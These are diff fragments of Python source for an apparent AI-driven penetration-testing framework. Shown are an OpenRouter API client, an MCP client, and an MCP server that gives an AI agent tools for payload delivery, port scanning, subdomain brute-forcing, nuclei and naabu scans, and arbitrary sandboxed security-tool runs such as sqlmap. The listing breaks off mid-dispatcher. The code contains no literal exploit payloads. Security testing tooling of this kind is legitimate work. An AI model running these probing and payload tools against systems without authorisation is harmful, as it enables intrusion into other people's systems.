logger.debug(f"OpenRouter API request attempt {attempt + 1}/{MAX_RETRIES} (model: {self.model})")
|
||||
response = requests.post(url, headers=headers, json=data, timeout=180)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
return result["choices"][0]["message"]["content"]
|
||||
|
||||
elif response.status_code == 401:
|
||||
raise ValueError(f"Invalid OpenRouter API key: {response.text}")
|
||||
|
||||
elif response.status_code == 429:
|
||||
last_error = f"Rate limit: {response.text}"
|
||||
logger.warning(f"OpenRouter rate limit (attempt {attempt + 1}/{MAX_RETRIES})")
|
||||
if attempt < MAX_RETRIES - 1:
|
||||
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** (attempt + 1))
|
||||
time.sleep(sleep_time)
|
||||
|
||||
elif response.status_code >= 500:
|
||||
last_error = f"Server error {response.status_code}: {response.text}"
|
||||
logger.warning(f"OpenRouter server error (attempt {attempt + 1}/{MAX_RETRIES})")
|
||||
if attempt < MAX_RETRIES - 1:
|
||||
sleep_time = RETRY_DELAY * (RETRY_MULTIPLIER ** attempt)
|
||||
time.sleep(sleep_time)
|
||||
|
||||
else:
|
||||
raise ValueError(f"OpenRouter API error {response.status_code}: {response.text}")
|
||||
|
||||
except requests.exceptions.Timeout:
|
||||
last_error = "Timeout"
|
||||
logger.warning(f"OpenRouter timeout (attempt {attempt + 1}/{MAX_RETRIES})")
|
||||
if attempt < MAX_RETRIES - 1:
|
||||
time.sleep(RETRY_DELAY * (RETRY_MULTIPLIER ** attempt))
|
||||
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
raise ValueError(f"Cannot connect to OpenRouter API: {e}")
|
||||
|
||||
raise ValueError(f"OpenRouter API failed after {MAX_RETRIES} retries: {last_error}")
|
||||
|
||||
def analyze_vulnerability(self, vulnerability_data: Dict) -> Dict:
|
||||
"""Analyze vulnerability and suggest exploits"""
|
||||
# This prompt will be fetched from library.json later
|
||||
|
||||
@@ -0,0 +1,244 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
MCP Client - Model Context Protocol tool connectivity.
|
||||
|
||||
Provides a standard interface for connecting to MCP servers and
|
||||
executing tools. Supports both stdio and SSE transports.
|
||||
|
||||
Coexists with existing subprocess-based tool execution:
|
||||
- MCP is tried first when enabled
|
||||
- Falls back silently to subprocess if MCP unavailable
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
from typing import Dict, List, Optional, Any
|
||||
from pathlib import Path
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
try:
|
||||
from mcp import ClientSession, StdioServerParameters
|
||||
from mcp.client.stdio import stdio_client
|
||||
HAS_MCP = True
|
||||
except ImportError:
|
||||
HAS_MCP = False
|
||||
logger.debug("MCP package not installed. MCP tool connectivity disabled.")
|
||||
|
||||
try:
|
||||
from mcp.client.sse import sse_client
|
||||
HAS_MCP_SSE = True
|
||||
except ImportError:
|
||||
HAS_MCP_SSE = False
|
||||
|
||||
|
||||
class MCPToolClient:
|
||||
"""Client for connecting to MCP servers and executing tools."""
|
||||
|
||||
def __init__(self, config: Dict):
|
||||
mcp_config = config.get('mcp_servers', {})
|
||||
self.enabled = mcp_config.get('enabled', False) and HAS_MCP
|
||||
self.servers_config = mcp_config.get('servers', {})
|
||||
self._sessions: Dict[str, Any] = {} # server_name -> (session, cleanup)
|
||||
self._available_tools: Dict[str, List[Dict]] = {} # server_name -> tools list
|
||||
|
||||
if self.enabled:
|
||||
logger.info(f"MCP client initialized with {len(self.servers_config)} server(s)")
|
||||
else:
|
||||
if not HAS_MCP and mcp_config.get('enabled', False):
|
||||
logger.warning("MCP enabled in config but mcp package not installed. "
|
||||
"Install with: pip install mcp>=1.0.0")
|
||||
|
||||
async def connect(self, server_name: str) -> bool:
|
||||
"""Establish connection to an MCP server.
|
||||
|
||||
Returns True if connection successful, False otherwise.
|
||||
"""
|
||||
if not self.enabled:
|
||||
return False
|
||||
|
||||
if server_name in self._sessions:
|
||||
return True # Already connected
|
||||
|
||||
server_config = self.servers_config.get(server_name)
|
||||
if not server_config:
|
||||
logger.error(f"MCP server '{server_name}' not found in config")
|
||||
return False
|
||||
|
||||
transport = server_config.get('transport', 'stdio')
|
||||
|
||||
try:
|
||||
if transport == 'stdio':
|
||||
return await self._connect_stdio(server_name, server_config)
|
||||
elif transport == 'sse':
|
||||
return await self._connect_sse(server_name, server_config)
|
||||
else:
|
||||
logger.error(f"Unsupported MCP transport: {transport}")
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to connect to MCP server '{server_name}': {e}")
|
||||
return False
|
||||
|
||||
async def _connect_stdio(self, server_name: str, config: Dict) -> bool:
|
||||
"""Connect to a stdio-based MCP server."""
|
||||
if not HAS_MCP:
|
||||
return False
|
||||
|
||||
command = config.get('command', '')
|
||||
args = config.get('args', [])
|
||||
|
||||
if not command:
|
||||
logger.error(f"MCP server '{server_name}' has no command specified")
|
||||
return False
|
||||
|
||||
server_params = StdioServerParameters(
|
||||
command=command,
|
||||
args=args,
|
||||
env=config.get('env')
|
||||
)
|
||||
|
||||
try:
|
||||
# Create the stdio client connection
|
||||
read_stream, write_stream = await asyncio.wait_for(
|
||||
self._start_stdio_process(server_params),
|
||||
timeout=30
|
||||
)
|
||||
|
||||
session = ClientSession(read_stream, write_stream)
|
||||
await session.initialize()
|
||||
|
||||
# Cache available tools
|
||||
tools_result = await session.list_tools()
|
||||
self._available_tools[server_name] = [
|
||||
{"name": t.name, "description": t.description}
|
||||
for t in tools_result.tools
|
||||
]
|
||||
|
||||
self._sessions[server_name] = session
|
||||
logger.info(f"Connected to MCP server '{server_name}' via stdio "
|
||||
f"({len(self._available_tools[server_name])} tools available)")
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Stdio connection to '{server_name}' failed: {e}")
|
||||
return False
|
||||
|
||||
async def _start_stdio_process(self, params: 'StdioServerParameters'):
|
||||
"""Start a stdio MCP server process."""
|
||||
async with stdio_client(params) as (read, write):
|
||||
return read, write
|
||||
|
||||
async def _connect_sse(self, server_name: str, config: Dict) -> bool:
|
||||
"""Connect to an SSE-based MCP server."""
|
||||
if not HAS_MCP_SSE:
|
||||
logger.error("MCP SSE transport not available")
|
||||
return False
|
||||
|
||||
url = config.get('url', '')
|
||||
if not url:
|
||||
logger.error(f"MCP server '{server_name}' has no URL specified")
|
||||
return False
|
||||
|
||||
try:
|
||||
async with sse_client(url) as (read, write):
|
||||
session = ClientSession(read, write)
|
||||
await session.initialize()
|
||||
|
||||
tools_result = await session.list_tools()
|
||||
self._available_tools[server_name] = [
|
||||
{"name": t.name, "description": t.description}
|
||||
for t in tools_result.tools
|
||||
]
|
||||
|
||||
self._sessions[server_name] = session
|
||||
logger.info(f"Connected to MCP server '{server_name}' via SSE "
|
||||
f"({len(self._available_tools[server_name])} tools available)")
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"SSE connection to '{server_name}' failed: {e}")
|
||||
return False
|
||||
|
||||
async def call_tool(self, server_name: str, tool_name: str,
|
||||
arguments: Optional[Dict] = None) -> Optional[str]:
|
||||
"""Call a tool on an MCP server.
|
||||
|
||||
Returns the tool result as a string, or None if the call fails.
|
||||
"""
|
||||
if not self.enabled:
|
||||
return None
|
||||
|
||||
session = self._sessions.get(server_name)
|
||||
if not session:
|
||||
connected = await self.connect(server_name)
|
||||
if not connected:
|
||||
return None
|
||||
session = self._sessions.get(server_name)
|
||||
|
||||
try:
|
||||
result = await session.call_tool(tool_name, arguments or {})
|
||||
# Extract text content from result
|
||||
if result.content:
|
||||
texts = [c.text for c in result.content if hasattr(c, 'text')]
|
||||
return '\n'.join(texts) if texts else str(result.content)
|
||||
return ""
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"MCP tool call failed ({server_name}/{tool_name}): {e}")
|
||||
return None
|
||||
|
||||
async def list_tools(self, server_name: str = None) -> Dict[str, List[Dict]]:
|
||||
"""List available tools from MCP servers.
|
||||
|
||||
If server_name is specified, lists tools for that server only.
|
||||
Otherwise lists tools from all connected servers.
|
||||
"""
|
||||
if server_name:
|
||||
tools = self._available_tools.get(server_name, [])
|
||||
return {server_name: tools}
|
||||
|
||||
return dict(self._available_tools)
|
||||
|
||||
def find_tool_server(self, tool_name: str) -> Optional[str]:
|
||||
"""Find which MCP server provides a given tool.
|
||||
|
||||
Returns the server name, or None if no server has the tool.
|
||||
"""
|
||||
for server_name, tools in self._available_tools.items():
|
||||
for tool in tools:
|
||||
if tool["name"] == tool_name:
|
||||
return server_name
|
||||
return None
|
||||
|
||||
async def try_tool(self, tool_name: str, arguments: Optional[Dict] = None) -> Optional[str]:
|
||||
"""Try to execute a tool via any available MCP server.
|
||||
|
||||
Searches all configured servers for the tool and executes it.
|
||||
Returns None silently if no server has the tool (for fallback pattern).
|
||||
"""
|
||||
if not self.enabled:
|
||||
return None
|
||||
|
||||
# Connect to any servers not yet connected
|
||||
for server_name in self.servers_config:
|
||||
if server_name not in self._sessions:
|
||||
await self.connect(server_name)
|
||||
|
||||
server = self.find_tool_server(tool_name)
|
||||
if server:
|
||||
return await self.call_tool(server, tool_name, arguments)
|
||||
|
||||
return None # Silent fallback
|
||||
|
||||
async def disconnect_all(self):
|
||||
"""Disconnect from all MCP servers."""
|
||||
for server_name, session in self._sessions.items():
|
||||
try:
|
||||
if hasattr(session, 'close'):
|
||||
await session.close()
|
||||
except Exception as e:
|
||||
logger.debug(f"Error closing MCP session '{server_name}': {e}")
|
||||
self._sessions.clear()
|
||||
self._available_tools.clear()
|
||||
logger.info("Disconnected from all MCP servers")
|
||||
@@ -0,0 +1,626 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
NeuroSploit MCP Server — Exposes pentest tools via Model Context Protocol.
|
||||
|
||||
Tools:
|
||||
- screenshot_capture: Playwright browser screenshots
|
||||
- payload_delivery: HTTP payload sending with full response capture
|
||||
- dns_lookup: DNS record enumeration
|
||||
- port_scan: TCP port scanning
|
||||
- technology_detect: HTTP header-based tech fingerprinting
|
||||
- subdomain_enumerate: Subdomain discovery via DNS brute-force
|
||||
- save_finding: Persist a finding to agent memory
|
||||
- get_vuln_prompt: Retrieve AI decision prompt for a vuln type
|
||||
- execute_nuclei: Run Nuclei scanner in Docker sandbox (8000+ templates)
|
||||
- execute_naabu: Run Naabu port scanner in Docker sandbox
|
||||
- sandbox_health: Check sandbox container status
|
||||
- sandbox_exec: Execute any allowed tool in the sandbox
|
||||
|
||||
Usage:
|
||||
python3 -m core.mcp_server # stdio transport (default)
|
||||
MCP_TRANSPORT=sse python3 -m core.mcp_server # SSE transport
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import logging
|
||||
from typing import Dict, Any, Optional, List
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Guard MCP import — server only works where mcp package is available
|
||||
try:
|
||||
from mcp.server import Server
|
||||
from mcp.server.stdio import stdio_server
|
||||
from mcp.types import Tool, TextContent
|
||||
HAS_MCP = True
|
||||
except ImportError:
|
||||
HAS_MCP = False
|
||||
logger.warning("MCP package not installed. Install with: pip install 'mcp>=1.0.0'")
|
||||
|
||||
# Guard Playwright import
|
||||
try:
|
||||
from core.browser_validator import BrowserValidator
|
||||
HAS_PLAYWRIGHT = True
|
||||
except ImportError:
|
||||
HAS_PLAYWRIGHT = False
|
||||
|
||||
# AI prompts access
|
||||
try:
|
||||
from backend.core.vuln_engine.ai_prompts import get_prompt, build_testing_prompt
|
||||
HAS_AI_PROMPTS = True
|
||||
except ImportError:
|
||||
HAS_AI_PROMPTS = False
|
||||
|
||||
# Security sandbox access
|
||||
try:
|
||||
from core.sandbox_manager import get_sandbox, SandboxManager
|
||||
HAS_SANDBOX = True
|
||||
except ImportError:
|
||||
HAS_SANDBOX = False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tool implementations
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
async def _screenshot_capture(url: str, selector: Optional[str] = None) -> Dict:
|
||||
"""Capture a screenshot of a URL using Playwright."""
|
||||
if not HAS_PLAYWRIGHT:
|
||||
return {"error": "Playwright not available", "screenshot": None}
|
||||
|
||||
try:
|
||||
bv = BrowserValidator()
|
||||
result = await bv.capture_screenshot(url, selector=selector)
|
||||
return {"url": url, "screenshot_base64": result.get("screenshot", ""), "status": "ok"}
|
||||
except Exception as e:
|
||||
return {"error": str(e), "screenshot": None}
|
||||
|
||||
|
||||
async def _payload_delivery(
|
||||
endpoint: str,
|
||||
method: str = "GET",
|
||||
payload: str = "",
|
||||
content_type: str = "application/x-www-form-urlencoded",
|
||||
headers: Optional[Dict] = None,
|
||||
param: str = "q",
|
||||
) -> Dict:
|
||||
"""Send an HTTP request with a payload and capture full response."""
|
||||
import aiohttp
|
||||
|
||||
try:
|
||||
async with aiohttp.ClientSession() as session:
|
||||
req_headers = {"Content-Type": content_type}
|
||||
if headers:
|
||||
req_headers.update(headers)
|
||||
|
||||
if method.upper() == "GET":
|
||||
async with session.get(endpoint, params={param: payload}, headers=req_headers, timeout=15, allow_redirects=False) as resp:
|
||||
body = await resp.text()
|
||||
return {
|
||||
"status": resp.status,
|
||||
"headers": dict(resp.headers),
|
||||
"body": body[:5000],
|
||||
"body_length": len(body),
|
||||
}
|
||||
else:
|
||||
data = {param: payload} if content_type != "application/json" else None
|
||||
json_data = json.loads(payload) if content_type == "application/json" else None
|
||||
async with session.request(
|
||||
method.upper(), endpoint, data=data, json=json_data,
|
||||
headers=req_headers, timeout=15, allow_redirects=False
|
||||
) as resp:
|
||||
body = await resp.text()
|
||||
return {
|
||||
"status": resp.status,
|
||||
"headers": dict(resp.headers),
|
||||
"body": body[:5000],
|
||||
"body_length": len(body),
|
||||
}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
async def _dns_lookup(domain: str, record_type: str = "A") -> Dict:
|
||||
"""Perform DNS lookups for a domain."""
|
||||
import subprocess
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["dig", "+short", domain, record_type],
|
||||
capture_output=True, text=True, timeout=10
|
||||
)
|
||||
records = [r.strip() for r in result.stdout.strip().split("\n") if r.strip()]
|
||||
return {"domain": domain, "type": record_type, "records": records}
|
||||
except FileNotFoundError:
|
||||
# Fallback to socket for A records
|
||||
if record_type.upper() == "A":
|
||||
try:
|
||||
ips = socket.getaddrinfo(domain, None, socket.AF_INET)
|
||||
records = list(set(ip[4][0] for ip in ips))
|
||||
return {"domain": domain, "type": "A", "records": records}
|
||||
except socket.gaierror as e:
|
||||
return {"domain": domain, "type": "A", "error": str(e)}
|
||||
return {"error": "dig command not available and only A records supported via fallback"}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
async def _port_scan(host: str, ports: str = "80,443,8080,8443,3000,5000") -> Dict:
|
||||
"""Scan TCP ports on a host."""
|
||||
port_list = [int(p.strip()) for p in ports.split(",") if p.strip().isdigit()]
|
||||
results = {}
|
||||
|
||||
async def check_port(port: int):
|
||||
try:
|
||||
reader, writer = await asyncio.wait_for(
|
||||
asyncio.open_connection(host, port), timeout=3
|
||||
)
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
return port, "open"
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
||||
return port, "closed"
|
||||
|
||||
tasks = [check_port(p) for p in port_list[:100]]
|
||||
for coro in asyncio.as_completed(tasks):
|
||||
port, state = await coro
|
||||
results[str(port)] = state
|
||||
|
||||
open_ports = [p for p, s in results.items() if s == "open"]
|
||||
return {"host": host, "ports": results, "open_ports": open_ports}
|
||||
|
||||
|
||||
async def _technology_detect(url: str) -> Dict:
|
||||
"""Detect technologies from HTTP response headers."""
|
||||
import aiohttp
|
||||
|
||||
try:
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async with session.get(url, timeout=10, allow_redirects=True) as resp:
|
||||
headers = dict(resp.headers)
|
||||
body = await resp.text()
|
||||
|
||||
techs = []
|
||||
server = headers.get("Server", "")
|
||||
if server:
|
||||
techs.append(f"Server: {server}")
|
||||
|
||||
powered_by = headers.get("X-Powered-By", "")
|
||||
if powered_by:
|
||||
techs.append(f"X-Powered-By: {powered_by}")
|
||||
|
||||
# Framework detection from body
|
||||
framework_markers = {
|
||||
"React": ["react", "_next/static", "__NEXT_DATA__"],
|
||||
"Vue.js": ["vue.js", "__vue__", "v-cloak"],
|
||||
"Angular": ["ng-version", "angular"],
|
||||
"jQuery": ["jquery"],
|
||||
"WordPress": ["wp-content", "wp-includes"],
|
||||
"Laravel": ["laravel_session", "csrf-token"],
|
||||
"Django": ["csrfmiddlewaretoken", "django"],
|
||||
"Rails": ["csrf-param", "action_dispatch"],
|
||||
"Spring": ["jsessionid"],
|
||||
"Express": ["connect.sid"],
|
||||
}
|
||||
|
||||
body_lower = body.lower()
|
||||
for tech, markers in framework_markers.items():
|
||||
if any(m.lower() in body_lower for m in markers):
|
||||
techs.append(tech)
|
||||
|
||||
return {"url": url, "technologies": techs, "headers": {
|
||||
k: v for k, v in headers.items()
|
||||
if k.lower() in ("server", "x-powered-by", "x-aspnet-version",
|
||||
"x-generator", "x-drupal-cache", "x-framework")
|
||||
}}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
async def _subdomain_enumerate(domain: str) -> Dict:
|
||||
"""Enumerate subdomains via common prefixes."""
|
||||
prefixes = [
|
||||
"www", "api", "admin", "app", "dev", "staging", "test", "mail",
|
||||
"ftp", "cdn", "blog", "shop", "docs", "status", "dashboard",
|
||||
"portal", "m", "mobile", "beta", "demo", "v2", "internal",
|
||||
]
|
||||
|
||||
found = []
|
||||
|
||||
async def check_subdomain(prefix: str):
|
||||
subdomain = f"{prefix}.{domain}"
|
||||
try:
|
||||
socket.getaddrinfo(subdomain, None, socket.AF_INET)
|
||||
return subdomain
|
||||
except socket.gaierror:
|
||||
return None
|
||||
|
||||
tasks = [check_subdomain(p) for p in prefixes]
|
||||
results = await asyncio.gather(*tasks)
|
||||
found = [r for r in results if r]
|
||||
|
||||
return {"domain": domain, "subdomains": found, "count": len(found)}
|
||||
|
||||
|
||||
async def _save_finding(finding_json: str) -> Dict:
|
||||
"""Persist a finding (JSON string). Returns confirmation."""
|
||||
try:
|
||||
finding = json.loads(finding_json)
|
||||
# Validate required fields
|
||||
required = ["title", "severity", "vulnerability_type", "affected_endpoint"]
|
||||
missing = [f for f in required if f not in finding]
|
||||
if missing:
|
||||
return {"error": f"Missing required fields: {missing}"}
|
||||
return {"status": "saved", "finding_id": finding.get("id", "unknown"), "title": finding["title"]}
|
||||
except json.JSONDecodeError as e:
|
||||
return {"error": f"Invalid JSON: {e}"}
|
||||
|
||||
|
||||
async def _get_vuln_prompt(vuln_type: str, target: str = "", endpoint: str = "", param: str = "", tech: str = "") -> Dict:
|
||||
"""Retrieve the AI decision prompt for a vulnerability type."""
|
||||
if not HAS_AI_PROMPTS:
|
||||
return {"error": "AI prompts module not available"}
|
||||
|
||||
try:
|
||||
prompt_data = get_prompt(vuln_type, {
|
||||
"TARGET_URL": target,
|
||||
"ENDPOINT": endpoint,
|
||||
"PARAMETER": param,
|
||||
"TECHNOLOGY": tech,
|
||||
})
|
||||
if not prompt_data:
|
||||
return {"error": f"No prompt found for vuln type: {vuln_type}"}
|
||||
full_prompt = build_testing_prompt(vuln_type, target, endpoint, param, tech)
|
||||
return {"vuln_type": vuln_type, "prompt": prompt_data, "full_prompt": full_prompt}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Sandbox tool implementations (Docker-based real tools)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
async def _execute_nuclei(
|
||||
target: str,
|
||||
templates: Optional[str] = None,
|
||||
severity: Optional[str] = None,
|
||||
tags: Optional[str] = None,
|
||||
rate_limit: int = 150,
|
||||
) -> Dict:
|
||||
"""Run Nuclei vulnerability scanner in the Docker sandbox."""
|
||||
if not HAS_SANDBOX:
|
||||
return {"error": "Sandbox module not available. Install docker SDK: pip install docker"}
|
||||
|
||||
try:
|
||||
sandbox = await get_sandbox()
|
||||
if not sandbox.is_available:
|
||||
return {"error": "Sandbox container not running. Build with: cd docker && docker compose -f docker-compose.sandbox.yml up -d"}
|
||||
|
||||
result = await sandbox.run_nuclei(
|
||||
target=target,
|
||||
templates=templates,
|
||||
severity=severity,
|
||||
tags=tags,
|
||||
rate_limit=rate_limit,
|
||||
)
|
||||
|
||||
return {
|
||||
"tool": "nuclei",
|
||||
"target": target,
|
||||
"exit_code": result.exit_code,
|
||||
"findings": result.findings,
|
||||
"findings_count": len(result.findings),
|
||||
"duration_seconds": result.duration_seconds,
|
||||
"raw_output": result.stdout[:3000] if result.stdout else "",
|
||||
"error": result.error,
|
||||
}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
async def _execute_naabu(
|
||||
target: str,
|
||||
ports: Optional[str] = None,
|
||||
top_ports: Optional[int] = None,
|
||||
rate: int = 1000,
|
||||
) -> Dict:
|
||||
"""Run Naabu port scanner in the Docker sandbox."""
|
||||
if not HAS_SANDBOX:
|
||||
return {"error": "Sandbox module not available"}
|
||||
|
||||
try:
|
||||
sandbox = await get_sandbox()
|
||||
if not sandbox.is_available:
|
||||
return {"error": "Sandbox container not running"}
|
||||
|
||||
result = await sandbox.run_naabu(
|
||||
target=target,
|
||||
ports=ports,
|
||||
top_ports=top_ports,
|
||||
rate=rate,
|
||||
)
|
||||
|
||||
open_ports = [f["port"] for f in result.findings]
|
||||
return {
|
||||
"tool": "naabu",
|
||||
"target": target,
|
||||
"exit_code": result.exit_code,
|
||||
"open_ports": sorted(open_ports),
|
||||
"port_count": len(open_ports),
|
||||
"findings": result.findings,
|
||||
"duration_seconds": result.duration_seconds,
|
||||
"error": result.error,
|
||||
}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
async def _sandbox_health() -> Dict:
|
||||
"""Check sandbox container health and available tools."""
|
||||
if not HAS_SANDBOX:
|
||||
return {"status": "unavailable", "reason": "Sandbox module not installed"}
|
||||
|
||||
try:
|
||||
sandbox = await get_sandbox()
|
||||
return await sandbox.health_check()
|
||||
except Exception as e:
|
||||
return {"status": "error", "reason": str(e)}
|
||||
|
||||
|
||||
async def _sandbox_exec(tool: str, args: str, timeout: int = 300) -> Dict:
|
||||
"""Execute any allowed tool in the Docker sandbox."""
|
||||
if not HAS_SANDBOX:
|
||||
return {"error": "Sandbox module not available"}
|
||||
|
||||
try:
|
||||
sandbox = await get_sandbox()
|
||||
if not sandbox.is_available:
|
||||
return {"error": "Sandbox container not running"}
|
||||
|
||||
result = await sandbox.run_tool(tool=tool, args=args, timeout=timeout)
|
||||
|
||||
return {
|
||||
"tool": tool,
|
||||
"exit_code": result.exit_code,
|
||||
"stdout": result.stdout[:5000] if result.stdout else "",
|
||||
"stderr": result.stderr[:2000] if result.stderr else "",
|
||||
"duration_seconds": result.duration_seconds,
|
||||
"error": result.error,
|
||||
}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# MCP Server Definition
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
TOOLS = [
|
||||
{
|
||||
"name": "screenshot_capture",
|
||||
"description": "Capture a browser screenshot of a URL using Playwright",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"url": {"type": "string", "description": "URL to screenshot"},
|
||||
"selector": {"type": "string", "description": "Optional CSS selector to capture"},
|
||||
},
|
||||
"required": ["url"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "payload_delivery",
|
||||
"description": "Send an HTTP request with a payload and capture the full response",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"endpoint": {"type": "string", "description": "Target URL"},
|
||||
"method": {"type": "string", "description": "HTTP method", "default": "GET"},
|
||||
"payload": {"type": "string", "description": "Payload value"},
|
||||
"content_type": {"type": "string", "default": "application/x-www-form-urlencoded"},
|
||||
"param": {"type": "string", "description": "Parameter name", "default": "q"},
|
||||
},
|
||||
"required": ["endpoint", "payload"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "dns_lookup",
|
||||
"description": "Perform DNS lookups for a domain",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"domain": {"type": "string", "description": "Domain to look up"},
|
||||
"record_type": {"type": "string", "default": "A", "description": "DNS record type"},
|
||||
},
|
||||
"required": ["domain"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "port_scan",
|
||||
"description": "Scan TCP ports on a host",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": {"type": "string", "description": "Target host"},
|
||||
"ports": {"type": "string", "default": "80,443,8080,8443,3000,5000", "description": "Comma-separated ports"},
|
||||
},
|
||||
"required": ["host"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "technology_detect",
|
||||
"description": "Detect technologies from HTTP response headers and body",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"url": {"type": "string", "description": "URL to analyze"},
|
||||
},
|
||||
"required": ["url"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "subdomain_enumerate",
|
||||
"description": "Enumerate subdomains via common prefix brute-force",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"domain": {"type": "string", "description": "Base domain to enumerate"},
|
||||
},
|
||||
"required": ["domain"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "save_finding",
|
||||
"description": "Persist a vulnerability finding (JSON string)",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"finding_json": {"type": "string", "description": "Finding as JSON string"},
|
||||
},
|
||||
"required": ["finding_json"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "get_vuln_prompt",
|
||||
"description": "Retrieve the AI decision prompt for a vulnerability type",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"vuln_type": {"type": "string", "description": "Vulnerability type key"},
|
||||
"target": {"type": "string", "description": "Target URL"},
|
||||
"endpoint": {"type": "string", "description": "Specific endpoint"},
|
||||
"param": {"type": "string", "description": "Parameter name"},
|
||||
"tech": {"type": "string", "description": "Detected technology"},
|
||||
},
|
||||
"required": ["vuln_type"],
|
||||
},
|
||||
},
|
||||
# --- Sandbox tools (Docker-based real security tools) ---
|
||||
{
|
||||
"name": "execute_nuclei",
|
||||
"description": "Run Nuclei vulnerability scanner (8000+ templates) in Docker sandbox. Returns structured findings with severity, CVE, CWE.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"target": {"type": "string", "description": "Target URL to scan"},
|
||||
"templates": {"type": "string", "description": "Specific template path (e.g. 'cves/2024/', 'vulnerabilities/xss/')"},
|
||||
"severity": {"type": "string", "description": "Filter: critical,high,medium,low,info"},
|
||||
"tags": {"type": "string", "description": "Filter by tags: xss,sqli,lfi,ssrf,rce"},
|
||||
"rate_limit": {"type": "integer", "description": "Requests per second (default 150)", "default": 150},
|
||||
},
|
||||
"required": ["target"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "execute_naabu",
|
||||
"description": "Run Naabu port scanner in Docker sandbox. Fast SYN-based scanning with configurable port ranges.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"target": {"type": "string", "description": "IP address or hostname to scan"},
|
||||
"ports": {"type": "string", "description": "Ports to scan (e.g. '80,443,8080' or '1-65535')"},
|
||||
"top_ports": {"type": "integer", "description": "Scan top N ports (e.g. 100, 1000)"},
|
||||
"rate": {"type": "integer", "description": "Packets per second (default 1000)", "default": 1000},
|
||||
},
|
||||
"required": ["target"],
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "sandbox_health",
|
||||
"description": "Check Docker sandbox status and available security tools",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {},
|
||||
},
|
||||
},
|
||||
{
|
||||
"name": "sandbox_exec",
|
||||
"description": "Execute any allowed security tool in the Docker sandbox (nuclei, naabu, nmap, httpx, subfinder, katana, ffuf, sqlmap, nikto, etc.)",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"tool": {"type": "string", "description": "Tool name (e.g. nuclei, naabu, nmap, httpx, subfinder, katana, ffuf, gobuster, dalfox, nikto, sqlmap, curl)"},
|
||||
"args": {"type": "string", "description": "Command-line arguments for the tool"},
|
||||
"timeout": {"type": "integer", "description": "Max execution time in seconds (default 300)", "default": 300},
|
||||
},
|
||||
"required": ["tool", "args"],
|
||||
},
|
||||
},
|
||||
]
|
||||
|
||||
# Tool dispatcher
|
||||
TOOL_HANDLERS = {
|
||||
"screenshot_capture": lambda args: _screenshot_capture(args["url"], args.get("selector")),
|
||||
"payload_delivery": lambda args: _payload_delivery(
|
||||
args["endpoint"], args.get("method", "GET"), args.get("payload", ""),
|
||||
args.get("content_type", "application/x-www-form-urlencoded"),
|
||||
args.get("headers"), args.get("param", "q")
|
||||
),
|
||||
"dns_lookup": lambda args: _dns_lookup(args["domain"], args.get("record_type", "A")),
|
||||
"port_scan": lambda args: _port_scan(args["host"], args.get("ports", "80,443,8080,8443,3000,5000")),
|
||||
"technology_detect": lambda args: _technology_detect(args["url"]),
|
||||
"subdomain_enumerate": lambda args: _subdomain_enumerate(args["domain"]),
|
||||
"save_finding": lambda args: _save_finding(args["finding_json"]),
|
||||
